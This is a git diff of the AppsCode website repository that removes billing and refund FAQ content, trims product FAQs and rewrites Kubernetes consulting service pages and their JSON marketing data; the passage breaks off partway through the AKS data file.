diff --git a/.gitignore b/.gitignore index be59afd253..f721b23db6 100644 --- a/.gitignore +++ b/.gitignore @@ -1,10 +1,11 @@ -/.firebase -/content/docs -/node_modules -/repos -/resources -.sass-cache -/public -/bin -.hugo_build.lock -.DS_Store +/.firebase +/content/docs +/node_modules +/repos +/resources +.sass-cache +/public +/bin +.hugo_build.lock +.DS_Store +config.bat diff --git a/content/faq/billing.md b/content/faq/billing.md deleted file mode 100644 index 22ffac979f..0000000000 --- a/content/faq/billing.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Billing FAQ | AppsCode -header: Billing FAQ -menu: - faq: - identifier: billing-faq - name: Billing FAQ - weight: 20 -left_menu: faq -blackfriday: - extensions: - - autoHeaderIds ---- - -### What form of payments do you accept? - -You may purchase our products or upgrade your plan using an international credit card (Visa, MasterCard, American Express) and PayPal. - - -### If I have multiple credit cards on file, which one do you charge? - - -Our billing system will attempt to charge your primary credit card. If there is a specific card you'd like to use for payment, please make sure it is the primary credit card. - -### Can I pay in advance? - - -No, you will be chanrged after service is provided. But we appreciate your support. - - -### Will I be charged when I register with a credit card? - - -Not exactly. When you register a credit card, our payments provider will issue a charge to verify validity of card. These charges will be automatically invalidated and should disappear from your credit card statement in 48 hours. - -### When is my credit card charged for billing? - - -We usually charge your credit card on the 1st day of each month for the previous month's usage. For addons charged for usage by mintues will be charged at increments of 50 USD after usage. - -> *Got more questions? You can post to our [community site](https://slack.appscode.com) or [contact us](mailto:support@appscode.com) directly.* - diff --git a/content/faq/legal.md b/content/faq/legal.md index de82790d34..d857198a3b 100644 --- a/content/faq/legal.md +++ b/content/faq/legal.md @@ -1,38 +1,34 @@ ---- -title: Legal FAQ | AppsCode -header: Legal FAQ -menu: - faq: - identifier: Legal-faq - name: Legal FAQ - weight: 40 -left_menu: faq -blackfriday: - extensions: - - autoHeaderIds ---- - -### What are the basic conditions for using AppsCode? - -In order to avail AppsCode services, you have to assure certain terms and conditions: - -* You MUST be at least 13 years of age or beyond to use the Site and Services of AppsCode. - -* You may not be allowed to use AppsCode Services you are a person barred from receiving the AppsCode Services under the laws of the United States or other countries, including the country in which you are resident or from which you use the AppsCode Services. - -* You MUST NOT use AppsCode Services to execute any action leading to any type of injurious code which includes trojans, key loggers, viruses, malware, botnets, denial of service attacks, flood or mail bombs, logic bombs, or any activity AppsCode determines to be malicious. - -* You MUST provide valid and accurate information while registering for the AppsCode services. It is your responsibility to maintain security of your account and password. If you notice any unauthorised usage of your account immediately notify AppsCode authority. You are responsible for keeping password confidential and make sure internet service you are using is secured. You furthermore have to ensure safe and hack-free data transmission to AppsCode site. AppsCode shall maintain strict protocols and try to prevent any unauthorised access. In case of any sort of server hacks or if you fail to comply with security obligations AppsCode shall not be liable for your failure. - - -### Is any Copyright law applicable? - -Yes. While using AppsCode Service you agree to comply with the United States’ Digital Millennium Copyright Act 1998. AppsCode strictly responds to DMCA and other applicable copyright laws and reserves the right to terminate accounts involved in violating as such, which includes taking down content or the Application upon receipt of valid DMCA notice. - - -### What is the Refund Policy? - -AppsCode charges for service already provided. Please refer to our [Service Level Agreement](/legal/sla/) for uptime guarantee and refunds. - -> *Got more questions? You can post to our [community site](https://slack.appscode.com) or [contact us](mailto:support@appscode.com) directly.* - +--- +title: Legal FAQ | AppsCode +header: Legal FAQ +menu: + faq: + identifier: Legal-faq + name: Legal FAQ + weight: 40 +left_menu: faq +blackfriday: + extensions: + - autoHeaderIds +--- + +### What are the basic conditions for using AppsCode? + +In order to avail AppsCode services, you have to assure certain terms and conditions: + +* You MUST be at least 13 years of age or beyond to use the Site and Services of AppsCode. + +* You may not be allowed to use AppsCode Services you are a person barred from receiving the AppsCode Services under the laws of the United States or other countries, including the country in which you are resident or from which you use the AppsCode Services. + +* You MUST NOT use AppsCode Services to execute any action leading to any type of injurious code which includes trojans, key loggers, viruses, malware, botnets, denial of service attacks, flood or mail bombs, logic bombs, or any activity AppsCode determines to be malicious. + +* You MUST provide valid and accurate information while registering for the AppsCode services. It is your responsibility to maintain security of your account and password. If you notice any unauthorised usage of your account immediately notify AppsCode authority. You are responsible for keeping password confidential and make sure internet service you are using is secured. You furthermore have to ensure safe and hack-free data transmission to AppsCode site. AppsCode shall maintain strict protocols and try to prevent any unauthorised access. In case of any sort of server hacks or if you fail to comply with security obligations AppsCode shall not be liable for your failure. + + +### Is any Copyright law applicable? + +Yes. While using AppsCode Service you agree to comply with the United States’ Digital Millennium Copyright Act 1998. AppsCode strictly responds to DMCA and other applicable copyright laws and reserves the right to terminate accounts involved in violating as such, which includes taking down content or the Application upon receipt of valid DMCA notice. + + +> *Got more questions? You can post to our [community site](https://slack.appscode.com) or [contact us](mailto:support@appscode.com) directly.* + diff --git a/content/faq/product.md b/content/faq/product.md index eec5dc920c..e04186574d 100644 --- a/content/faq/product.md +++ b/content/faq/product.md @@ -1,84 +1,43 @@ ---- -title: Product FAQ | AppsCode -header: Product FAQ -menu: - faq: - identifier: Product-faq - name: Product FAQ - weight: 10 -left_menu: faq -blackfriday: - extensions: - - autoHeaderIds ---- - -### How long is the Trial Period of AppsCode Paid Services? Do I have to register with a credit card from the very beginning? - -Trial Period for AppsCode paid services has a validity of fourteen (14) days. During this period you are not required to -register with a credit card. In order to avoid service disruption you have to register with a valid credit card during the trial period. - - -### Which Clouds are supported by AppsCode? - - -Currently AppsCode is supporting Google Cloud (GCE) and Amazon Web Services (AWS. If you would like to see support for additional cloud providers, let us know [here](https://calendly.com/appscode/30min). - -### How do I report bugs? - - -Please report bugs via our [community site](https://github.com/appscode/discuss). If you need to include private information, you can email us directly at . To help us fix bugs, include reproducible steps with your bug report. - -### How do I file feature requests? - - -You can request for missing features or request modification of existing features via our [community site](https://github.com/appscode/discuss). We appreciate your valuable feedback. - -### Can I check my quota information? - - -Yes. You can access your current quota and usage stats from your AppsCode Billing Dashboard `Quota` tab. -You can access it from url: https://team-id.appscode.io/billing/quota/. - -### Can I upgrade, downgrade or cancel? - - -Yes. This depends on which plan you are currrently subscribed to. - -- **Hosted Plans with Month to month subscription:** These plans can be cancelled at any time. -You will be charged up to the day you cancel your plan. - -- **Hosted Plans with Annual subscription:** These plans can be cancelled *only* at the end of their -subscription period. - -- **Addons:** Addons are charged for usage by minutes. These can deleted at any time. - -- **Private Installations:** These plans can be cancelled *only* at the end of their license period. - - -### Can I change my plan at a later time? - - -Yes. Plans are on a monthly or annual subscription that can be upgraded to a -different tier. - - -### How do I delete my AppsCode team account? - - -We are sorry to see you go. To cancel during trial period, do not add a payment method. Your team account will be deleted after trial period, if not upgraded. If you are on a paid plan, please email us at with your team-id from an administrator account for your team. We will delete your account after verification. - - -### Where can I get help learn about AppsCode? - - -You can get help from [Learn](/learn) and [Community](/community) section of the AppsCode website. We also provider paid online training courses. See [here](/services/training/) for more details. - -### What type of support can I avail? - - -All AppsCode hosted plans come with community support. Business plans come with email support. Enterprise plans comes with phone support in addition to email support. However, email support does not include support for questions about using, optimizing, or troubleshooting AppsCode services. To get answer of such issues, please check our [technical support](/services/tech-support/) and [consulting](/services/tech-support/) services. - -For general support, please contact . For sales queries, drop us a line at . - - -> *Got more questions? You can post to our [community site](https://slack.appscode.com) or [contact us](mailto:support@appscode.com) directly.* +--- +title: Product FAQ | AppsCode +header: Product FAQ +menu: + faq: + identifier: Product-faq + name: Product FAQ + weight: 10 +left_menu: faq +blackfriday: + extensions: + - autoHeaderIds +--- + +### Which Clouds are supported by AppsCode? + + +Currently AppsCode is supporting Google Cloud (GCE) and Amazon Web Services (AWS. If you would like to see support for additional cloud providers, let us know [here](https://calendly.com/appscode/30min). + +### How do I report bugs? + + +Please report bugs via our [community site](https://github.com/appscode/discuss). If you need to include private information, you can email us directly at . To help us fix bugs, include reproducible steps with your bug report. + +### How do I file feature requests? + + +You can request for missing features or request modification of existing features via our [community site](https://github.com/appscode/discuss). We appreciate your valuable feedback. + +### Where can I get help learn about AppsCode? + + +You can get help from [Learn](/learn) and [Community](/community) section of the AppsCode website. We also provider paid online training courses. See [here](/services/training/) for more details. + +### What type of support can I avail? + + +All AppsCode hosted plans come with community support. Business plans come with email support. Enterprise plans comes with phone support in addition to email support. However, email support does not include support for questions about using, optimizing, or troubleshooting AppsCode services. To get answer of such issues, please check our [technical support](/services/tech-support/) and [consulting](/services/tech-support/) services. + +For general support, please contact . For sales queries, drop us a line at . + + +> *Got more questions? You can post to our [community site](https://slack.appscode.com) or [contact us](mailto:support@appscode.com) directly.* diff --git a/content/services/application-modernization/aks-consulting-partner.md b/content/services/application-modernization/aks-consulting-partner.md index f811d75ac7..157daaea6f 100644 --- a/content/services/application-modernization/aks-consulting-partner.md +++ b/content/services/application-modernization/aks-consulting-partner.md @@ -1,19 +1,19 @@ ---- -id: aks-consulting-services -title: Azure AKS Consulting Services by Experts -description: AppsCode is an Azure Marketplace partner offering expert AKS consulting, deployment, optimization, and enterprise-grade managed support for Azure Kubernetes Service clusters. -layout: services -url: '/services/aks-consulting-services' -data: 'data/services/application-modernization/aks_consulting_partner.json' ---- - -{{< common/hero-area >}} -{{< common/customer-logos >}} -{{< common/title-with-small-cards >}} -{{< common/service-details >}} -{{< services/we-understand-the-nitty-gritty >}} -{{< common/cards >}} -{{< common/partner-listing >}} -{{< common/expertise >}} -{{< common/cta-area >}} -{{< common/faq >}} +--- +id: aks-consulting-services +title: Azure AKS Consulting Services by Experts +description: AppsCode is an Azure Marketplace partner offering expert AKS consulting, deployment, optimization, and enterprise-grade managed support for Azure Kubernetes Service clusters. +layout: services +url: '/services/aks-consulting-services' +data: 'data/services/application-modernization/aks_consulting_partner.json' +--- + +{{< common/hero-area >}} +{{< common/customer-logos >}} +{{< common/title-with-small-cards >}} +{{< common/service-details >}} +{{< services/we-understand-the-nitty-gritty >}} +{{< common/cards >}} +{{< common/partner-listing >}} +{{< common/expertise >}} +{{< common/cta-area >}} +{{< common/faq >}} diff --git a/content/services/application-modernization/eks-consulting-partner.md b/content/services/application-modernization/eks-consulting-partner.md index 84f1cd87fb..ebf5db89c2 100644 --- a/content/services/application-modernization/eks-consulting-partner.md +++ b/content/services/application-modernization/eks-consulting-partner.md @@ -1,19 +1,19 @@ ---- -id: eks-consulting-services -title: AWS EKS Consulting Services by Experts -description: AppsCode is an AWS Marketplace partner offering expert EKS consulting, deployment, optimization, and enterprise-grade managed support for Amazon EKS clusters. -layout: services -url: '/services/eks-consulting-services' -data: 'data/services/application-modernization/eks_consulting_partner.json' ---- - -{{< common/hero-area >}} -{{< common/customer-logos >}} -{{< common/title-with-small-cards >}} -{{< common/service-details >}} -{{< services/we-understand-the-nitty-gritty >}} -{{< common/cards >}} -{{< common/partner-listing >}} -{{< common/expertise >}} -{{< common/cta-area >}} -{{< common/faq >}} +--- +id: eks-consulting-services +title: AWS EKS Consulting Services by Experts +description: AppsCode is an AWS Marketplace partner offering expert EKS consulting, deployment, optimization, and enterprise-grade managed support for Amazon EKS clusters. +layout: services +url: '/services/eks-consulting-services' +data: 'data/services/application-modernization/eks_consulting_partner.json' +--- + +{{< common/hero-area >}} +{{< common/customer-logos >}} +{{< common/title-with-small-cards >}} +{{< common/service-details >}} +{{< services/we-understand-the-nitty-gritty >}} +{{< common/cards >}} +{{< common/partner-listing >}} +{{< common/expertise >}} +{{< common/cta-area >}} +{{< common/faq >}} diff --git a/content/services/application-modernization/gke-consulting-partner.md b/content/services/application-modernization/gke-consulting-partner.md index c4384022d0..70a0cb9c94 100644 --- a/content/services/application-modernization/gke-consulting-partner.md +++ b/content/services/application-modernization/gke-consulting-partner.md @@ -1,19 +1,19 @@ ---- -id: gke-consulting-services -title: Google GKE Consulting Services by Experts -description: AppsCode is a Google Cloud partner offering expert GKE consulting, deployment, optimization, and enterprise-grade managed support for Google Kubernetes Engine clusters. -layout: services -url: '/services/gke-consulting-services' -data: 'data/services/application-modernization/gke_consulting_partner.json' ---- - -{{< common/hero-area >}} -{{< common/customer-logos >}} -{{< common/title-with-small-cards >}} -{{< common/service-details >}} -{{< services/we-understand-the-nitty-gritty >}} -{{< common/cards >}} -{{< common/partner-listing >}} -{{< common/expertise >}} -{{< common/cta-area >}} -{{< common/faq >}} +--- +id: gke-consulting-services +title: Google GKE Consulting Services by Experts +description: AppsCode is a Google Cloud partner offering expert GKE consulting, deployment, optimization, and enterprise-grade managed support for Google Kubernetes Engine clusters. +layout: services +url: '/services/gke-consulting-services' +data: 'data/services/application-modernization/gke_consulting_partner.json' +--- + +{{< common/hero-area >}} +{{< common/customer-logos >}} +{{< common/title-with-small-cards >}} +{{< common/service-details >}} +{{< services/we-understand-the-nitty-gritty >}} +{{< common/cards >}} +{{< common/partner-listing >}} +{{< common/expertise >}} +{{< common/cta-area >}} +{{< common/faq >}} diff --git a/content/services/application-modernization/openshift-consulting-partner.md b/content/services/application-modernization/openshift-consulting-partner.md index 6f7166aae0..dc92fccc13 100644 --- a/content/services/application-modernization/openshift-consulting-partner.md +++ b/content/services/application-modernization/openshift-consulting-partner.md @@ -1,19 +1,19 @@ ---- -id: openshift-consulting-services -title: Red Hat OpenShift Consulting Services by Experts -description: AppsCode is a certified Red Hat OpenShift partner offering expert consulting, deployment, optimization, and enterprise-grade managed support for OpenShift clusters. -layout: services -url: '/services/openshift-consulting-services' -data: 'data/services/application-modernization/openshift_consulting_partner.json' ---- - -{{< common/hero-area >}} -{{< common/customer-logos >}} -{{< common/title-with-small-cards >}} -{{< common/service-details >}} -{{< services/we-understand-the-nitty-gritty >}} -{{< common/cards >}} -{{< common/partner-listing >}} -{{< common/expertise >}} -{{< common/cta-area >}} -{{< common/faq >}} +--- +id: openshift-consulting-services +title: Red Hat OpenShift Consulting Services by Experts +description: AppsCode is a certified Red Hat OpenShift partner offering expert consulting, deployment, optimization, and enterprise-grade managed support for OpenShift clusters. +layout: services +url: '/services/openshift-consulting-services' +data: 'data/services/application-modernization/openshift_consulting_partner.json' +--- + +{{< common/hero-area >}} +{{< common/customer-logos >}} +{{< common/title-with-small-cards >}} +{{< common/service-details >}} +{{< services/we-understand-the-nitty-gritty >}} +{{< common/cards >}} +{{< common/partner-listing >}} +{{< common/expertise >}} +{{< common/cta-area >}} +{{< common/faq >}} diff --git a/content/services/application-modernization/rancher-consulting-partner.md b/content/services/application-modernization/rancher-consulting-partner.md index bd1b8c91a8..d91f88ab0c 100644 --- a/content/services/application-modernization/rancher-consulting-partner.md +++ b/content/services/application-modernization/rancher-consulting-partner.md @@ -1,19 +1,19 @@ ---- -id: rancher-consulting-services -title: Rancher by SUSE Consulting Services by Experts -description: AppsCode is a certified SUSE Rancher partner offering expert consulting, deployment, optimization, and enterprise-grade managed support for Rancher-managed Kubernetes clusters. -layout: services -url: '/services/rancher-consulting-services' -data: 'data/services/application-modernization/rancher_consulting_partner.json' ---- - -{{< common/hero-area >}} -{{< common/customer-logos >}} -{{< common/title-with-small-cards >}} -{{< common/service-details >}} -{{< services/we-understand-the-nitty-gritty >}} -{{< common/cards >}} -{{< common/partner-listing >}} -{{< common/expertise >}} -{{< common/cta-area >}} -{{< common/faq >}} +--- +id: rancher-consulting-services +title: Rancher by SUSE Consulting Services by Experts +description: AppsCode is a certified SUSE Rancher partner offering expert consulting, deployment, optimization, and enterprise-grade managed support for Rancher-managed Kubernetes clusters. +layout: services +url: '/services/rancher-consulting-services' +data: 'data/services/application-modernization/rancher_consulting_partner.json' +--- + +{{< common/hero-area >}} +{{< common/customer-logos >}} +{{< common/title-with-small-cards >}} +{{< common/service-details >}} +{{< services/we-understand-the-nitty-gritty >}} +{{< common/cards >}} +{{< common/partner-listing >}} +{{< common/expertise >}} +{{< common/cta-area >}} +{{< common/faq >}} diff --git a/data/services/application-modernization/aks_consulting_partner.json b/data/services/application-modernization/aks_consulting_partner.json index 094b8bab96..24e3e2d28f 100644 --- a/data/services/application-modernization/aks_consulting_partner.json +++ b/data/services/application-modernization/aks_consulting_partner.json @@ -1,327 +1,327 @@ -{ - "hero": { - "title": "Azure AKS Consulting Services by Experts", - "subtitle": "AppsCode is an Azure Marketplace partner — delivering expert AKS consulting, deployment, optimization, and managed enterprise support.", - "cta_text": "Talk to an AKS Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "Azure AKS Consulting Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Our AKS Consulting Services?", - "areas": [ - { - "icon": "fa fa-lightbulb-o", - "title": "Agile & Scalable AKS Architecture" - }, - { - "icon": "fa fa-tachometer", - "title": "High-Performance AKS Deployments" - }, - { - "icon": "fa fa-cogs", - "title": "Accelerated App Development on AKS" - }, - { - "icon": "fa fa-money", - "title": "Optimize Azure Cloud Costs" - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Cloud & Hybrid Kubernetes Flexibility" - }, - { - "icon": "fa fa-shield", - "title": "Self-Healing & Secure Container Environments" - }, - { - "icon": "fa fa-arrows-alt", - "title": "Migrate & Containerize Legacy Applications" - }, - { - "icon": "fa fa-repeat", - "title": "Automated CI/CD Rollouts & Rollbacks" - } - ] - }, - "service_details": { - "title": "Our End-to-End AKS Consulting Services", - "subtitle": "As an Azure Marketplace partner and CNCF Silver Member, AppsCode delivers expert AKS consulting — from planning to production management.", - "sections": [ - { - "title": "AKS Advisory & Assessment", - "description": "Start your AKS journey with confidence. Our experts assess your current Azure infrastructure, plan seamless migration to AKS, and design a scalable architecture optimized for your workloads.", - "offerings": [ - "Conduct Azure infrastructure audits and plan AKS adoption.", - "Create a roadmap for efficient AKS deployment across regions.", - "Provide detailed cost analysis and workload optimization." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Application Development & Migration", - "description": "Modernize your workloads with AKS-native applications and migrate monoliths into containerized microservices for better agility and performance.", - "offerings": [ - "Develop AKS-ready applications using Go, Java, and Python.", - "Break monolithic architectures into resilient microservices.", - "Implement centralized management across multi-cluster AKS environments." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "AKS Deployment & Operations", - "description": "Deploy production-grade AKS clusters with high availability, resilience, and observability built in, leveraging native Azure integrations.", - "offerings": [ - "Provision auto-healing AKS clusters using Terraform, Bicep, and ARM templates.", - "Integrate observability with Azure Monitor, Prometheus, Grafana, and Thanos.", - "Automate cluster scaling, upgrades, and security policies." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "DevSecOps, Security & Compliance", - "description": "Shift security left in your AKS lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", - "offerings": [ - "Implement Azure AD integration, RBAC, and network segmentation.", - "Automate container image scanning with Microsoft Defender for Containers and Trivy.", - "Ensure compliance with ISO, HIPAA, SOC 2, and GDPR standards." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "Enterprise AKS Support & Training", - "description": "AppsCode provides continuous AKS support, training, and managed services to ensure operational excellence and long-term stability.", - "offerings": [ - "Real-time monitoring, backup, and disaster recovery using Stash.", - "Training for DevOps teams to manage AKS independently.", - "Cost management and resource optimization for AKS clusters." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in AKS Consulting", - "subtitle": "Our AKS consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", - "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and AKS solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available, compliant systems for secure 24/7 transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Integrate AI and manage GPU servers for high-performance SaaS platforms." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Leverage AI & ML to meet customer expectations while ensuring safety and sustainability." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "Modernize systems for inspections, monitoring, and cost reduction." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Use cloud GPU instances for fast, secure processing of patient data." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless operations and instant updates with scalable systems." - } - ] - }, - "tech_stack": { - "title": "Our AKS Technology Expertise", - "subtitle": "We use proven cloud-native tools and frameworks to deliver enterprise-grade AKS consulting services.", - "technologies": [ - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Accelerate with AKS Consulting Services?", - "subtitle": "Get expert AKS consulting, managed support, and hands-on training to optimize your cloud-native infrastructure.", - "buttons": [ - { - "text": "Talk to an AKS Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode is the Right AKS Consulting Partner?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Azure Marketplace Partner", - "description": "AppsCode is listed on the Azure Marketplace with AppsCode Cloud for AKS-based cluster management and database provisioning." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "World-Class AKS Expertise", - "description": "50+ engineers specializing in AKS, Kubernetes, containers, and cloud-native platforms — helping you build, scale, and automate with confidence." - }, - { - "icon": "fa fa-trophy", - "title": "Industry Leadership", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise on AKS." - }, - { - "icon": "fa fa-graduation-cap", - "title": "AKS Training Programs", - "description": "Hands-on AKS workshops and cloud-native upskilling for DevOps teams." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scalable Dedicated Teams", - "description": "Easily scale your engineering teams with AppsCode's AKS experts." - } - ] - }, - "partner_listing": { - "title": "Our Products on Azure Marketplace", - "subtitle": "AppsCode is an Azure Marketplace partner. Deploy and manage production-grade databases on AKS clusters directly from Azure Marketplace.", - "products": [ - { - "name": "AppsCode Cloud on Azure", - "description": "Kubernetes Native Data Platform — deploy a central management console for all your AKS clusters to provision and manage production-grade databases.", - "url": "https://azuremarketplace.microsoft.com/en-us/marketplace/apps/appscode.ace_payg", - "logo": "/assets/images/technical-expertise/kubedb.svg" - } - ] - }, - "faq": [ - { - "question": "What do your AKS Consulting Services include?", - "answer": "Our AKS Consulting Services cover the full lifecycle of designing, deploying, and managing AKS clusters. From architecture design, cluster provisioning, and CI/CD integration to monitoring, scaling, and optimization, we help organizations run reliable and secure containerized workloads at scale on Azure AKS." - }, - { - "question": "Is AppsCode available on Azure Marketplace?", - "answer": "Yes — AppsCode is listed on the Azure Marketplace with AppsCode Cloud, a Kubernetes Native Data Platform for AKS-based cluster management. Visit azuremarketplace.microsoft.com/en-us/marketplace/apps/appscode.ace_payg to view our offering." - }, - { - "question": "Which technologies and practices are used in AKS consulting?", - "answer": "We leverage AKS, Terraform, Bicep, Helm charts, operators, containerization, CI/CD pipelines, infrastructure as code, observability (Azure Monitor, Prometheus, Grafana), and hybrid/multi-cloud deployment patterns to ensure scalable and resilient AKS environments." - }, - { - "question": "Can you work with our existing AKS clusters or Azure-native stack?", - "answer": "Yes — we integrate with your current AKS clusters and workloads, optimize performance, implement best practices, and guide teams in building production-ready, secure, and maintainable AKS deployments." - }, - { - "question": "What is the typical timeline and engagement model for AKS Consulting Services?", - "answer": "Engagements typically begin with a 1–2 week assessment phase to understand your environment and requirements. Implementation follows in 4–8 week agile sprints. We offer flexible engagement models including fixed-scope projects, time-and-materials consulting, or long-term AKS advisory partnerships." - }, - { - "question": "Do you support hybrid and multi-cloud AKS deployments?", - "answer": "Absolutely. Our AKS Consulting Services are designed for portability and consistency across Azure and other cloud environments, ensuring seamless operations and scalability across environments." - }, - { - "question": "How do you ensure security, reliability, and operational efficiency in AKS?", - "answer": "We enforce security best practices including Azure AD integration, RBAC, network policies, secrets management, and vulnerability scanning. Reliability is ensured with monitoring, backup/recovery strategies, and disaster resilience patterns. Operational efficiency is achieved through automation, CI/CD integration, and resource optimization." - }, - { - "question": "What happens after AKS consulting and implementation?", - "answer": "After deployment, we provide ongoing operational guidance, monitoring, performance tuning, and scaling recommendations. Our AKS Consulting Services also include training, knowledge transfer, and best practice documentation for your teams." - }, - { - "question": "How much do AKS Consulting Services cost, and what are the pricing models?", - "answer": "Costs vary depending on the complexity of your clusters, number of workloads, and support needs. We offer fixed-scope projects, hourly engagements, and long-term consulting retainers. A detailed proposal is provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Azure AKS Consulting Services by Experts", + "subtitle": "AppsCode is an Azure Marketplace partner — delivering expert AKS consulting, deployment, optimization, and managed enterprise support.", + "cta_text": "Talk to an AKS Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "Azure AKS Consulting Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Our AKS Consulting Services?", + "areas": [ + { + "icon": "fa fa-lightbulb-o", + "title": "Agile & Scalable AKS Architecture" + }, + { + "icon": "fa fa-tachometer", + "title": "High-Performance AKS Deployments" + }, + { + "icon": "fa fa-cogs", + "title": "Accelerated App Development on AKS" + }, + { + "icon": "fa fa-money", + "title": "Optimize Azure Cloud Costs" + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Cloud & Hybrid Kubernetes Flexibility" + }, + { + "icon": "fa fa-shield", + "title": "Self-Healing & Secure Container Environments" + }, + { + "icon": "fa fa-arrows-alt", + "title": "Migrate & Containerize Legacy Applications" + }, + { + "icon": "fa fa-repeat", + "title": "Automated CI/CD Rollouts & Rollbacks" + } + ] + }, + "service_details": { + "title": "Our End-to-End AKS Consulting Services", + "subtitle": "As an Azure Marketplace partner and CNCF Silver Member, AppsCode delivers expert AKS consulting — from planning to production management.", + "sections": [ + { + "title": "AKS Advisory & Assessment", + "description": "Start your AKS journey with confidence. Our experts assess your current Azure infrastructure, plan seamless migration to AKS, and design a scalable architecture optimized for your workloads.", + "offerings": [ + "Conduct Azure infrastructure audits and plan AKS adoption.", + "Create a roadmap for efficient AKS deployment across regions.", + "Provide detailed cost analysis and workload optimization." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Application Development & Migration", + "description": "Modernize your workloads with AKS-native applications and migrate monoliths into containerized microservices for better agility and performance.", + "offerings": [ + "Develop AKS-ready applications using Go, Java, and Python.", + "Break monolithic architectures into resilient microservices.", + "Implement centralized management across multi-cluster AKS environments." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "AKS Deployment & Operations", + "description": "Deploy production-grade AKS clusters with high availability, resilience, and observability built in, leveraging native Azure integrations.", + "offerings": [ + "Provision auto-healing AKS clusters using Terraform, Bicep, and ARM templates.", + "Integrate observability with Azure Monitor, Prometheus, Grafana, and Thanos.", + "Automate cluster scaling, upgrades, and security policies." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "DevSecOps, Security & Compliance", + "description": "Shift security left in your AKS lifecycle. Our DevSecOps services ensure compliance and security at every layer of your containerized environment.", + "offerings": [ + "Implement Azure AD integration, RBAC, and network segmentation.", + "Automate container image scanning with Microsoft Defender for Containers and Trivy.", + "Ensure compliance with ISO, HIPAA, SOC 2, and GDPR standards." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "Enterprise AKS Support & Training", + "description": "AppsCode provides continuous AKS support, training, and managed services to ensure operational excellence and long-term stability.", + "offerings": [ + "Real-time monitoring, backup, and disaster recovery using Stash.", + "Training for DevOps teams to manage AKS independently.", + "Cost management and resource optimization for AKS clusters." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in AKS Consulting", + "subtitle": "Our AKS consulting services empower over 100 clients across regulated industries with high-performance, compliant, and reliable infrastructure.", + "additional_text": "We serve global enterprises and startups with deep expertise in cloud-native and AKS solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & 